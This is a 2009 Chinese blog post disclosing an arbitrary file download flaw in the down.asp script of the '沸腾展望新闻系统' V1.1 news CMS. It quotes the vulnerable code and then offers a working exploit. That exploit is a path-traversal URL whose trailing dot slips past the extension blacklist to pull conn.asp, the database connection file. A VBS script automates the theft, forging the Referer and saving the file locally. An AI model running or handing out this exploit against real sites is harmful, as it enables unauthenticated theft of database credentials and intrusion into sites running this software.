数据加载中……


 

 登   陆

我的分类(专题)
数据加载中……

链接

Blog信息
数据加载中……

 



沸腾展望新闻系统任意文件下载漏洞
樱木花盗 发表于 2009-7-27 23:10:24

===============================================================
Author:Tr4c3[dot]126[dot]com
版权所有 http://www.nspcn.org
===============================================================
#+++
影响版本:
沸腾展望新闻系统[核心:尘缘雅境] V1.1 Access版 Finish(SP3)
#+++
漏洞文件:
down.asp
#+++
关键代码:

 

Const adTypeBinary = 1
FileName = Request.QueryString("FileName")
if FileName = "" Then
    Response.Write "无效文件名!"
    Response.End
End if
FileExt = Mid(FileName, InStrRev(FileName, ".") + 1)
Select Case UCase(FileExt)
    Case "ASP", "ASA", "ASPX", "ASAX", "MDB"
        Response.Write "非法操作!"
        Response.End
End Select
Response.Clear
if lcase(right(FileName,3))="gif" or lcase(right(FileName,3))="jpg" or lcase(right(FileName,3))

="png" then
Response.ContentType = "image/*" '对图像文件不出现下载对话框
else
Response.ContentType = "application/ms-download"
end if
Response.AddHeader "content-disposition", "attachment; filename=" & GetFileName

(Request.QueryString("FileName"))
Set Stream = server.CreateObject("ADODB.Stream")
Stream.Type = adTypeBinary
Stream.Open

SavePath = FileUploadPath   '存放上传文件的目录
TrueFileName = SavePath & FileName

Stream.LoadFromFile Server.MapPath(TrueFileName)
While Not Stream.EOS
    Response.BinaryWrite Stream.Read(1024 * 64)
Wend


 

#+++
Exploit:
http://www.target.com/down.asp?FileName=../conn.asp.(不需要登录,用minibrowser伪造referer)

#+++
VBS版利用 

Dim strUrl, strData
strUrl = "http://www.target.com/down.asp?FileName=../conn.asp."
Set xPost = CreateObject("Microsoft.XMLHTTP")
 With xPost
 .open "Get", strUrl, False
 .SetRequestHeader "Referer", strUrl
 .Send()
 strData = .responseBody
End with
Set sGet = CreateObject("ADODB.Stream")
With sGet
 .Mode = 3
 .Type = 1
 .Open()
 .Write(strData)
 .SaveToFile "Conn.asp",2
End with
set sGet = Nothing
set xPost = Nothing

阅读全文 | 回复(0) | 引用通告 | 编辑
 


发表评论:

    昵称:
    密码: (游客无须输入密码)
    主页:
    标题:
    数据加载中……


Powered by Oblog.